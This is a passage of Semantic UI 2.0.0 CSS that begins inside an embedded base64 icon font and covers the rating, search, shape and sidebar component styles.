/snFYv3SwWLkI2Qj46Oj4+NkIuSi5qPo5OZkJePk46TjZeOmo6ajpiMmIsIsIsFpIueg5d9ln6Qeol1koSRgo2Aj4CLgIeAlH+Pfot9i4WJhIiCloCQfIt7i3yFfoGACICAfoZ8iwg8iwWMiIyJi4mMiYyJjYmMiIyKi4mPhI2GjYeNh42GjYOMhIyEi4SLhouHi4iLiYuGioYIioWKhomHioeJh4iGh4eIh4aIh4iFiISJhImDioKLhouHjYiPh4+Ij4iRiJGJkIqPCIqPipGKkomTipGKj4qOiZCJkYiQiJCIjoWSgZZ+nIKXgZaBloGWhJGHi4aLh42HjwiIjomQi48IDviUFPiUFYsMCgAAAAADAgABkAAFAAABTAFmAAAARwFMAWYAAAD1ABkAhAAAAAAAAAAAAAAAAAAAAAEQAAAAAAAAAAAAAAAAAAAAAEAAAPFlAeD/4P/gAeAAIAAAAAEAAAAAAAAAAAAAACAAAAAAAAIAAAADAAAAFAADAAEAAAAUAAQAkAAAACAAIAAEAAAAAQAg5gXwBvAN8CPwLvBu8HDwivCX8JzxI/Fl//3//wAAAAAAIOYA8ATwDPAj8C7wbvBw8Ifwl/Cc8SPxZP/9//8AAf/jGgQQBhABD+wP4g+jD6IPjA+AD3wO9g62AAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAEAAJrVlLJfDzz1AAsCAAAAAADP/GODAAAAAM/8Y4MAAP/bAgAB2wAAAAgAAgAAAAAAAAABAAAB4P/gAAACAAAAAAACAAABAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAEAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAdwAAAHcAAACAAAjAZMAHwFJAAABbgAAAgAAAAIAAAACAAAAAgAAAAEAAAACAAAAAW4AAAHcAAAB3AABAdwAAAHcAAAAAFAAABwAAAAAAA4ArgABAAAAAAABAAwAAAABAAAAAAACAA4AQAABAAAAAAADAAwAIgABAAAAAAAEAAwATgABAAAAAAAFABYADAABAAAAAAAGAAYALgABAAAAAAAKADQAWgADAAEECQABAAwAAAADAAEECQACAA4AQAADAAEECQADAAwAIgADAAEECQAEAAwATgADAAEECQAFABYADAADAAEECQAGAAwANAADAAEECQAKADQAWgByAGEAdABpAG4AZwBWAGUAcgBzAGkAbwBuACAAMQAuADAAcgBhAHQAaQBuAGdyYXRpbmcAcgBhAHQAaQBuAGcAUgBlAGcAdQBsAGEAcgByAGEAdABpAG4AZwBGAG8AbgB0ACAAZwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABJAGMAbwBNAG8AbwBuAC4AAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\") format('woff');\n  font-weight: normal;\n  font-style: normal;\n}\n\n.ui.rating .icon {\n  font-family: 'Rating';\n  line-height: 1;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  font-weight: normal;\n  font-style: normal;\n  text-align: center;\n}\n\n/* Empty Star */\n\n.ui.rating .icon:before {\n  content: '\\f006';\n}\n\n/* Active Star */\n\n.ui.rating .active.icon:before {\n  content: '\\f005';\n}\n\n/*-------------------\n        Star\n--------------------*/\n\n/* Unfilled Star */\n\n.ui.star.rating .icon:before {\n  content: '\\f005';\n}\n\n/* Active Star */\n\n.ui.star.rating .active.icon:before {\n  content: '\\f005';\n}\n\n/* Partial */\n\n.ui.star.rating .partial.icon:before {\n  content: '\\f006';\n}\n\n.ui.star.rating .partial.icon {\n  content: '\\f005';\n}\n\n/*-------------------\n        Heart\n--------------------*/\n\n/* Empty Heart\n.ui.heart.rating .icon:before {\n  content: '\\f08a';\n}\n*/\n\n.ui.heart.rating .icon:before {\n  content: '\\f004';\n}\n\n/* Active */\n\n.ui.heart.rating .active.icon:before {\n  content: '\\f004';\n}\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Search\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Search\n*******************************/\n\n.ui.search {\n  position: relative;\n}\n\n.ui.search > .prompt {\n  margin: 0em;\n  outline: none;\n  -webkit-appearance: none;\n  -webkit-tap-highlight-color: rgba(255, 255, 255, 0);\n  text-shadow: none;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1.2142em;\n  padding: 0.67861429em 1em;\n  font-size: 1em;\n  background: #ffffff;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  color: rgba(0, 0, 0, 0.87);\n  box-shadow: 0em 0em 0em 0em transparent inset;\n  -webkit-transition: background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease, border-color 0.1s ease;\n  transition: background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease, border-color 0.1s ease;\n}\n\n.ui.search .prompt {\n  border-radius: 500rem;\n}\n\n/*--------------\n     Icon\n---------------*/\n\n.ui.search .prompt ~ .search.icon {\n  cursor: pointer;\n}\n\n/*--------------\n    Results\n---------------*/\n\n.ui.search > .results {\n  display: none;\n  position: absolute;\n  top: 100%;\n  left: 0%;\n  -webkit-transform-origin: center top;\n  -ms-transform-origin: center top;\n  transform-origin: center top;\n  background: #ffffff;\n  margin-top: 0.5em;\n  width: 18em;\n  border-radius: 0.28571429rem;\n  box-shadow: 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.08);\n  border: 1px solid #d4d4d5;\n  z-index: 998;\n}\n\n.ui.search > .results > :first-child {\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.search > .results > :last-child {\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n/*--------------\n    Result\n---------------*/\n\n.ui.search > .results .result {\n  cursor: pointer;\n  display: block;\n  overflow: hidden;\n  font-size: 1em;\n  padding: 0.85714286em 1.14285714em;\n  color: rgba(0, 0, 0, 0.87);\n  line-height: 1.33;\n  border-bottom: 1px solid rgba(34, 36, 38, 0.1);\n}\n\n.ui.search > .results .result:last-child {\n  border-bottom: none !important;\n}\n\n/* Image */\n\n.ui.search > .results .result .image {\n  float: right;\n  overflow: hidden;\n  background: none;\n  width: 5em;\n  height: 3em;\n  border-radius: 0.25em;\n}\n\n.ui.search > .results .result .image img {\n  display: block;\n  width: auto;\n  height: 100%;\n}\n\n/*--------------\n      Info\n---------------*/\n\n.ui.search > .results .result .image + .content {\n  margin: 0em 6em 0em 0em;\n}\n\n.ui.search > .results .result .title {\n  margin: -0.14285em 0em 0em;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-weight: bold;\n  font-size: 1em;\n  color: rgba(0, 0, 0, 0.85);\n}\n\n.ui.search > .results .result .description {\n  margin-top: 0;\n  font-size: 0.92857143em;\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.ui.search > .results .result .price {\n  float: right;\n  color: #21ba45;\n}\n\n/*--------------\n    Message\n---------------*/\n\n.ui.search > .results > .message {\n  padding: 1em 1em;\n}\n\n.ui.search > .results > .message .header {\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-size: 1rem;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.search > .results > .message .description {\n  margin-top: 0.25rem;\n  font-size: 1em;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* View All Results */\n\n.ui.search > .results > .action {\n  display: block;\n  border-top: none;\n  background: #f3f4f5;\n  padding: 0.92857143em 1em;\n  color: rgba(0, 0, 0, 0.87);\n  font-weight: bold;\n  text-align: center;\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------------\n       Focus\n---------------------*/\n\n.ui.search > .prompt:focus {\n  border-color: rgba(34, 36, 38, 0.35);\n  background: #ffffff;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------------\n       Loading\n---------------------*/\n\n.ui.loading.search .input > i.icon:before {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  margin: -0.64285714em 0em 0em -0.64285714em;\n  width: 1.28571429em;\n  height: 1.28571429em;\n  border-radius: 500rem;\n  border: 0.2em solid rgba(0, 0, 0, 0.1);\n}\n\n.ui.loading.search .input > i.icon:after {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  margin: -0.64285714em 0em 0em -0.64285714em;\n  width: 1.28571429em;\n  height: 1.28571429em;\n  -webkit-animation: button-spin 0.6s linear;\n  animation: button-spin 0.6s linear;\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n  border-radius: 500rem;\n  border-color: #767676 transparent transparent;\n  border-style: solid;\n  border-width: 0.2em;\n  box-shadow: 0px 0px 0px 1px transparent;\n}\n\n/*--------------\n      Hover\n---------------*/\n\n.ui.search > .results .result:hover,\n.ui.category.search > .results .category .result:hover {\n  background: #f9fafb;\n}\n\n.ui.search .action:hover {\n  background: #e0e0e0;\n}\n\n/*--------------\n      Active\n---------------*/\n\n.ui.category.search > .results .category.active {\n  background: #f3f4f5;\n}\n\n.ui.category.search > .results .category.active > .name {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.search > .results .result.active,\n.ui.category.search > .results .category .result.active {\n  position: relative;\n  border-left-color: rgba(34, 36, 38, 0.1);\n  background: #f3f4f5;\n  box-shadow: none;\n}\n\n.ui.search > .results .result.active .title {\n  color: rgba(0, 0, 0, 0.85);\n}\n\n.ui.search > .results .result.active .description {\n  color: rgba(0, 0, 0, 0.85);\n}\n\n/*******************************\n           Types\n*******************************/\n\n/*--------------\n    Categories\n---------------*/\n\n.ui.category.search .results {\n  width: 28em;\n}\n\n/* Category */\n\n.ui.category.search > .results .category {\n  background: #f3f4f5;\n  box-shadow: none;\n  border-bottom: 1px solid rgba(34, 36, 38, 0.1);\n  -webkit-transition: background 0.1s ease, border-color 0.1s ease;\n  transition: background 0.1s ease, border-color 0.1s ease;\n}\n\n/* Last Category */\n\n.ui.category.search > .results .category:last-child {\n  border-bottom: none;\n}\n\n/* First / Last */\n\n.ui.category.search > .results .category:first-child .name + .result {\n  border-radius: 0em 0.28571429rem 0em 0em;\n}\n\n.ui.category.search > .results .category:last-child .result:last-child {\n  border-radius: 0em 0em 0.28571429rem 0em;\n}\n\n/* Category Result */\n\n.ui.category.search > .results .category .result {\n  background: #ffffff;\n  margin-left: 100px;\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  border-bottom: 1px solid rgba(34, 36, 38, 0.1);\n  -webkit-transition: background 0.1s ease, border-color 0.1s ease;\n  transition: background 0.1s ease, border-color 0.1s ease;\n  padding: 0.85714286em 1.14285714em;\n}\n\n.ui.category.search > .results .category:last-child .result:last-child {\n  border-bottom: none;\n}\n\n/* Category Result Name */\n\n.ui.category.search > .results .category > .name {\n  width: 100px;\n  background: transparent;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-size: 1em;\n  float: 1em;\n  float: left;\n  padding: 0.4em 1em;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.4);\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-------------------\n     Left / Right\n--------------------*/\n\n.ui[class*=\"left aligned\"].search > .results {\n  right: auto;\n  left: 0%;\n}\n\n.ui[class*=\"right aligned\"].search > .results {\n  right: 0%;\n  left: auto;\n}\n\n/*--------------\n    Fluid\n---------------*/\n\n.ui.fluid.search .results {\n  width: 100%;\n}\n\n/*--------------\n      Sizes\n---------------*/\n\n.ui.mini.search {\n  font-size: 0.71428571em;\n}\n\n.ui.small.search {\n  font-size: 0.92857143em;\n}\n\n.ui.search {\n  font-size: 1em;\n}\n\n.ui.large.search {\n  font-size: 1.14285714em;\n}\n\n.ui.big.search {\n  font-size: 1.28571429em;\n}\n\n.ui.huge.search {\n  font-size: 1.42857143em;\n}\n\n.ui.massive.search {\n  font-size: 1.71428571em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Shape\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n              Shape\n*******************************/\n\n.ui.shape {\n  position: relative;\n  vertical-align: top;\n  display: inline-block;\n  -webkit-perspective: 2000px;\n  perspective: 2000px;\n  -webkit-transition: -webkit-transform 0.6s ease-in-out, left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out;\n  transition: transform 0.6s ease-in-out, left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out;\n}\n\n.ui.shape .sides {\n  -webkit-transform-style: preserve-3d;\n  transform-style: preserve-3d;\n}\n\n.ui.shape .side {\n  opacity: 1;\n  width: 100%;\n  margin: 0em !important;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n}\n\n.ui.shape .side {\n  display: none;\n}\n\n.ui.shape .side * {\n  -webkit-backface-visibility: visible !important;\n  backface-visibility: visible !important;\n}\n\n/*******************************\n             Types\n*******************************/\n\n.ui.cube.shape .side {\n  min-width: 15em;\n  height: 15em;\n  padding: 2em;\n  background-color: #e6e6e6;\n  color: rgba(0, 0, 0, 0.87);\n  box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.3);\n}\n\n.ui.cube.shape .side > .content {\n  width: 100%;\n  height: 100%;\n  display: table;\n  text-align: center;\n  -webkit-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  user-select: text;\n}\n\n.ui.cube.shape .side > .content > div {\n  display: table-cell;\n  vertical-align: middle;\n  font-size: 2em;\n}\n\n/*******************************\n          Variations\n*******************************/\n\n.ui.text.shape.animating .sides {\n  position: static;\n}\n\n.ui.text.shape .side {\n  white-space: nowrap;\n}\n\n.ui.text.shape .side > * {\n  white-space: normal;\n}\n\n/*******************************\n             States\n*******************************/\n\n/*--------------\n    Loading\n---------------*/\n\n.ui.loading.shape {\n  position: absolute;\n  top: -9999px;\n  left: -9999px;\n}\n\n/*--------------\n    Animating\n---------------*/\n\n.ui.shape .animating.side {\n  position: absolute;\n  top: 0px;\n  left: 0px;\n  display: block;\n  z-index: 100;\n}\n\n.ui.shape .hidden.side {\n  opacity: 0.6;\n}\n\n/*--------------\n      CSS\n---------------*/\n\n.ui.shape.animating .sides {\n  position: absolute;\n}\n\n.ui.shape.animating .sides {\n  -webkit-transition: -webkit-transform 0.6s ease-in-out, left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out;\n  transition: transform 0.6s ease-in-out, left 0.6s ease-in-out, width 0.6s ease-in-out, height 0.6s ease-in-out;\n}\n\n.ui.shape.animating .side {\n  -webkit-transition: opacity 0.6s ease-in-out;\n  transition: opacity 0.6s ease-in-out;\n}\n\n/*--------------\n     Active\n---------------*/\n\n.ui.shape .active.side {\n  display: block;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n        User Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Sidebar\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Sidebar\n*******************************/\n\n/* Sidebar Menu */\n\n.ui.sidebar {\n  position: fixed;\n  top: 0;\n  left: 0;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  -webkit-transition: none;\n  transition: none;\n  will-change: transform;\n  -webkit-transform: translate3d(0, 0, 0);\n  transform: translate3d(0, 0, 0);\n  visibility: hidden;\n  -webkit-overflow-scrolling: touch;\n  height: 100% !important;\n  max-height: 100%;\n  border-radius: 0em !important;\n  margin: 0em !important;\n  overflow-y: auto !important;\n  z-index: 102;\n}\n\n/* GPU Layers for Child Elements */\n\n.ui.sidebar > * {\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  -webkit-transform: rotateZ(0deg);\n  transform: rotateZ(0deg);\n}\n\n/*--------------\n   Direction\n---------------*/\n\n.ui.left.sidebar {\n  right: auto;\n  left: 0px;\n  -webkit-transform: translate3d(-100%, 0, 0);\n  transform: translate3d(-100%, 0, 0);\n}\n\n.ui.right.sidebar {\n  right: 0px !important;\n  left: auto !important;\n  -webkit-transform: translate3d(100%, 0%, 0);\n  transform: translate3d(100%, 0%, 0);\n}\n\n.ui.top.sidebar,\n.ui.bottom.sidebar {\n  width: 100% !important;\n  height: auto !important;\n}\n\n.ui.top.sidebar {\n  top: 0px !important;\n  bottom: auto !important;\n  -webkit-transform: translate3d(0, -100%, 0);\n  transform: translate3d(0, -100%, 0);\n}\n\n.ui.bottom.sidebar {\n  top: auto !important;\n  bottom: 0px !important;\n  -webkit-transform: translate3d(0, 100%, 0);\n  transform: translate3d(0, 100%, 0);\n}\n\n/*--------------\n     Pushable\n---------------*/\n\n.pushable {\n  height: 100%;\n  overflow-x: hidden;\n  padding: 0em !important;\n}\n\n/* Whole Page */\n\nbody.pushable {\n  background: #545454 !important;\n}\n\n/* Page Context */\n\n.pushable:not(body) {\n  -webkit-transform: translate3d(0, 0, 0);\n  transform: translate3d(0, 0, 0);\n}\n\n.pushable:not(body) > .ui.sidebar,\n.pushable:not(body) > .fixed,\n.pushable:not(body) > .pusher:after {\n  position: absolute;\n}\n\n/*--------------\n     Fixed\n---------------*/\n\n.pushable > .fixed {\n  position: fixed;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  -webkit-transition: -webkit-transform 500ms ease;\n  transition: transform 500ms ease;\n  will-change: transform;\n  z-index: 101;\n}\n\n/*--------------\n     Page\n---------------*/\n\n.pushable > .pusher {\n  position: relative;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  overflow: hidden;\n  min-height: 100%;\n  -webkit-transition: -webkit-transform 500ms ease;\n  transition: transform 500ms ease;\n  z-index: 2;\n}\n\nbody.pushable > .pusher {\n  background: #ffffff;\n}\n\n/* Pusher should inherit background from context */\n\n.pushable > .pusher {\n  background: inherit;\n}\n\n/*--------------\n     Dimmer\n---------------*/\n\n.pushable > .pusher:after {\n  position: fixed;\n  top: 0px;\n  right: 0px;\n  content: '';\n  background-color: rgba(0, 0, 0, 0.4);\n  overflow: hidden;\n  opacity: 0;\n  -webkit-transition: opacity 500ms;\n  transition: opacity 500ms;\n  will-change: opacity;\n  z-index: 1000;\n}\n\n/*--------------\n    Coupling\n---------------*/\n\n.ui.sidebar.menu .item {\n  border-radius: 0em !important;\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------\n     Dimmed\n---------------*/\n\n.pushable > .pusher.dimmed:after {\n  width: 100% !important;\n  height: 100% !important;\n  opacity: 1 !important;\n}\n\n/*--------------\n    Animating\n---------------*/\n\n.ui.animating.sidebar {\n  visibility: visible;\n}\n\n/*--------------\n     Visible\n---------------*/\n\n.ui.visible.sidebar {\n  visibility: visible;\n  -webkit-transform: translate3d(0, 0, 0);\n  transform: translate3d(0, 0, 0);\n}\n\n/* Shadow Direction */\n\n.ui.left.visible.sidebar,\n.ui.right.visible.sidebar {\n  box-shadow: 0px 0px 20px rgba(34, 36, 38, 0.15);\n}\n\n.ui.top.visible.sidebar,\n.ui.bottom.visible.sidebar {\n  box-shadow: 0px 0px 20px rgba(34, 36, 38, 0.15);\n}\n\n/* Visible On Load */\n\n.ui.visible.left.sidebar ~ .fixed,\n.ui.visible.left.sidebar ~ .pusher {\n  -webkit-transform: translate3d(260px, 0, 0);\n  transform: translate3d(260px, 0, 0);\n}\n\n.ui.visible.right.sidebar ~ .fixed,\n.ui.visible.right.sidebar ~ .pusher {\n  -webkit-transform: translate3d(-260px, 0, 0);\n  transform: translate3d(-260px, 0, 0);\n}\n\n.ui.visible.top.sidebar ~ .fixed,\n.ui.visible.top.sidebar ~ .pusher {\n  -webkit-transform: translate3d(0, 36px, 0);\n  transform: translate3d(0, 36px, 0);\n}\n\n.ui.visible.bottom.sidebar ~ .fixed,\n.ui.visible.bottom.sidebar ~ .pusher {\n  -webkit-transform: translate3d(0, -36px, 0);\n  transform: translate3d(0, -36px, 0);\n}\n\n/* opposite sides visible forces content overlay */\n\n.ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .fixed,\n.ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .pusher,\n.ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .fixed,\n.ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .pusher {\n  -webkit-transform: translate3d(0, 0, 0);\n  transform: translate3d(0, 0, 0);\n}\n\n/*--------------\n       iOS\n---------------*/\n\n/*\n  iOS incorrectly sizes document when content\n  is presented outside of view with 2Dtranslate\n*/\n\nhtml.ios {\n  overflow-x: hidden;\n  -webkit-overflow-scrolling: touch;\n}\n\nhtml.ios,\nhtml.ios body {\n  height: initial !important;\n}\n\n/*******************************\n          Variations\n*******************************/\n\n/*--------------\n     Width\n---------------*/\n\n/* Left / Right */\n\n.ui[class*=\"very thin\"].left.sidebar,\n.ui[class*=\"very thin\"].right.sidebar {\n  width: 60px;\n}\n\n.ui.thin.left.sidebar,\n.ui.thin.right.sidebar {\n  width: 150px;\n}\n\n.ui.left.sidebar,\n.ui.right.sidebar {\n  width: 260px;\n}\n\n.ui.wide.left.sidebar,\n.ui.wide.right.sidebar {\n  width: 350px;\n}\n\n.ui[class*=\"very wide\"].left.sidebar,\n.ui[class*=\"very wide\"].right.sidebar {\n  width: 475px;\n}\n\n/* Left Visible */\n\n.ui.visible[class*=\"very thin\"].left.sidebar ~ .fixed,\n.ui.visible[class*=\"very thin\"].left.sidebar ~ .pusher {\n  -webkit-transform: translate3d(60px, 0, 0);\n  transform: translate3d(60px, 0, 0);\n}\n\n.ui.visible.thin.left.sidebar ~ .fixed,\n.ui.visible.thin.left.sidebar ~ .pusher {\n  -webkit-transform: translate3d(150px, 0, 0);\n  transform: translate3d(150px, 0, 0);\n}\n\n.ui.visible.wide.left.sidebar ~ .fixed,\n.ui.visible.wide.left.sidebar ~ .pusher {\n  -webkit-transform: translate3d(350px, 0, 0);\n  transform: translate3d(350px, 0, 0);\n}\n\n.ui.visible[class*=\"very wide\"].left.sidebar ~ .fixed,\n.ui.visible[class*=\"very wide\"].left.sidebar ~ .pusher {\n  -webkit-transform: translate3d(475px, 0, 0);\n  transform: translate3d(475px, 0, 0);\n}\n\n/* Right Visible */\n\n.ui.visible[class*=\"very thin\"].right.sidebar ~ .fixed,\n.ui.visible[class*=\"very thin\"].right.sidebar ~ .pusher {\n  -webkit-transform: translate3d(-60px, 0, 0);\n  transform: translate3d(-60px, 0, 0);\n}\n\n.ui.visible.thin.right.sidebar ~ .fixed,\n.ui.visible.thin.right.sidebar ~ .pusher {\n  -webkit-transform: translate3d(-150px, 0, 0);\n  transform: translate3d(-150px, 0, 0);\n}\n\n.ui.visible.wide.right.sidebar ~ .fixed,\n.ui.visible.wide.right.sidebar ~ .pusher {\n  -webkit-transform: translate3d(-350px, 0, 0);\n  transform: translate3d(-350px, 0, 0);\n}\n\n.ui.visible[class*=\"very wide\"].right.sidebar ~ .fixed,\n.ui.visible[class*=\"very wide\"].right.sidebar ~ .pusher {\n  -webkit-transform: translate3d(-475px, 0, 0);\n  transform: translate3d(-475px, 0, 0);\n}\n\n/*******************************\n          Animations\n*******************************/\n\n/*--------------\n    Overlay\n---------------*/\n\n/* Set-up */\n\n.ui.overlay.sidebar {\n  z-index: 102;\n}\n\n/* Initial */\n\n.ui.left.overlay.sidebar {\n  -webkit-transform: translate3d(-100%, 0%, 0);\n  transform: translate3d(-100%, 0%, 0);\n}\n\n.ui.right.overlay.sidebar {\n  -webkit-transform: translate3d(100%, 0%, 0);\n  transform: translate3d(100%, 0%, 0);\n}\n\n.ui.top.overlay.sidebar {\n  -webkit-transform: translate3d(0%, -100%, 0);\n  transform: translate3d(0%, -100%, 0);\n}\n\n.ui.bottom.overlay.sidebar {\n  -webkit-transform: translate3d(0%, 100%, 0);\n  transform: translate3d(0%, 100%, 0);\n}\n\n/* Animation */\n\n.animating.ui.overlay.sidebar,\n.ui.visible.overlay.sidebar {\n  -webkit-transition: -webkit-transform 500ms ease;\n  transition: transform 500ms ease;\n}\n\n/* End - Sidebar */\n\n.ui.visible.left.overlay.sidebar {\n  -webkit-transform: translate3d(0%, 0%, 0);\n  transform: translate3d(0%, 0%, 0);\n}\n\n.ui.visible.right.overlay.sidebar {\n  -webkit-transform: translate3d(0%, 0%, 0);\n  transform: translate3d(0%, 0%, 0);\n}\n\n.ui.visible.top.overlay.sidebar {\n  -webkit-transform: translate3d(0%, 0%, 0);\n  transform: translate3d(0%, 0%, 0);\n}\n\n.ui.visible.bottom.overlay.sidebar {\n  -webkit-transform: translate3d(0%, 0%, 0);\n  transform: translate3d(0%, 0%, 0);\n}\n\n/* End - Pusher */\n\n.ui.visible.overlay.sidebar ~ .fixed,\n.ui.visible.overlay.sidebar ~ .pusher {\n  -webkit-transform: none !important;\n  -ms-transform: none !important;\n  transform: none !important;\n}\n\n/*--------------\n      Push\n---------------*/\n\n/* Initial */\n\n.ui.push.sidebar {\n  -webkit-transition: -webkit-transform 500ms ease;\n  transition: transform 500ms ease;\n  z-index: 102;\n}\n\n/* Sidebar - Initial */\n\n.ui.left.push.sidebar {\n  -webkit-transform: translate3d(-100%, 0, 0);\n  transform: translate3d(-100%, 0, 0);\n}\n\n.ui.right.push.sidebar {\n  -webkit-transform: translate3d(100%, 0, 0);\n  transform: translate3d(100%, 0, 0);\n}\n\n.ui.top.push.sidebar {\n  -webkit-transform: translate3d(0%, -100%, 0);\n  transform: translate3d(0%, -100%, 0);\n}\n\n.ui.bottom.push.sidebar {\n  -webkit-transform: translate3d(0%, 100%, 0);\n  transform: translate3d(0%, 100%, 0);\n}\n\n/* End */\n\n.ui.visible.push.sidebar {\n  -webkit-transform: translate3d(0%, 0, 0);\n  transform: translate3d(0%, 0, 0);\n}\n\n/*--------------\n    Uncover\n---------------*/\n\n/* Initial */\n\n.ui.uncover.sidebar {\n  -webkit-transform: translate3d(0, 0, 0);\n  transform: translate3d(0, 0, 0);\n  z-index: 1;\n}\n\n/* End */\n\n.ui.visible.uncover.sidebar {\n  -webkit-transform: translate3d(0, 0, 0);\n  transform: translate3d(0, 0, 0);\n  -webkit-transition: -webkit-transform 500ms ease;\n  transition: transform 500ms ease;\n}\n\n/*--------------\n   Slide Along\n---------------*/\n\n/* Initial */\n\n.ui.slide.along.sidebar {\n  z-index: 1;\n}\n\n/* Sidebar - Initial */\n\n.ui.left.slide.along.sidebar {\n  -webkit-transform: translate3d(-50%, 0, 0);\n  transform: translate3d(-50%, 0, 0);\n}\n\n.ui.right.slide.along.sidebar {\n  -webkit-transform: translate3d(50%, 0, 0);\n  transform: translate3d(50%, 0, 0);\n}\n\n.ui.top.slide.along.sidebar {\n  -webkit-transform: translate3d(0, -50%, 0);\n  transform: translate3d(0, -50%, 0);\n}\n\n.ui.bottom.slide.along.sidebar {\n  -webkit-transform: translate3d(0%, 50%, 0);\n  transform: translate3d(0%, 50%, 0);\n}\n\n/* Animation */\n\n.ui.animating.slide.along.sidebar {\n  -webkit-transition: -webkit-transform 500ms ease;\n  transition: transform 500ms ease;\n}\n\n/* End */\n\n.ui.visible.slide.along.sidebar {\n  -webkit-transform: translate3d(0%, 0, 0);\n  transform: translate3d(0%, 0, 0);\n}\n\n/*--------------\n   Slide Out\n---------------*/\n\n/* Initial */\n\n.ui.slide.out.sidebar {\n  z-index: 1;\n}\n\n/* Sidebar - Initial */\n\n.ui.left.slide.out.sidebar {\n  -webkit-transform: translate3d(50%, 0, 0);\n  transform: translate3d(50%, 0, 0);\n}\n\n.ui.right.slide.out.sidebar {\n  -webkit-transform: translate3d(-50%, 0, 0);\n  transform: translate3d(-50%, 0, 0);\n}\n\n.ui.top.slide.out.sidebar {\n  -webkit-transform: translate3d(0%, 50%, 0);\n  transform: translate3d(0%, 50%, 0);\n}\n\n.ui.bottom.slide.out.sidebar {\n  -webkit-transform: translate3d(0%, -50%, 0);\n  transform: translate3d(0%, -50%, 0);\n}\n\n/* Animation */\n\n.ui.animating.slide.out.sidebar {\n  -webkit-transition: -webkit-transform 500ms ease;\n  transition: transform 500ms ease;\n}\n\n/* End */\n\n.ui.visible.slide.out.sidebar {\n  -webkit-transform: translate3d(0%, 0, 0);\n  transform: translate3d(0%, 0, 0);\n}\n\n/*--------------\n   Scale Down\n---------------*/\n\n/* Initial */\n\n.ui.scale.down.sidebar {\n  -webkit-transition: -webkit-transform 500ms ease;\n  transition: transform 500ms ease;\n  z-index: 102;\n}\n\n/* Sidebar - Initial  */\n\n.ui.left.scale.down.sidebar {\n  -webkit-transform: translate3d(-100%, 0, 0);\n  transform: translate3d(-100%, 0, 0);\n}\n\n.ui.right.scale.down.sidebar {\n  -webkit-transform: translate3d(100%, 0, 0);\n  transform: translate3d(100%, 0, 0);\n}\n\n.ui.top.scale.down.sidebar {\n  -webkit-transform: translate3d(0%, -100%, 0);\n  transform: translate3d(0%, -100%, 0);\n}\n\n.ui.bottom.scale.down.sidebar {\n  -webkit-transform: translate3d(0%, 100%, 0);\n  transform: translate3d(0%, 100%, 0);\n}\n\n/* Pusher - Initial */\n\n.ui.scale.down.left.sidebar ~ .pusher {\n  -webkit-transform-origin: 75% 50%;\n  -ms-transform-origin: 75% 50%;\n  transform-origin: 75% 50%;\n}\n\n.ui.scale.down.right.sidebar ~ .pusher {\n  -webkit-transform-origin: 25% 50%;\n  -ms-transform-origin: 25% 50%;\n  transform-origin: 25% 50%;\n}\n\n.ui.scale.down.top.sidebar ~ .pusher {\n  -webkit-transform-origin: 50% 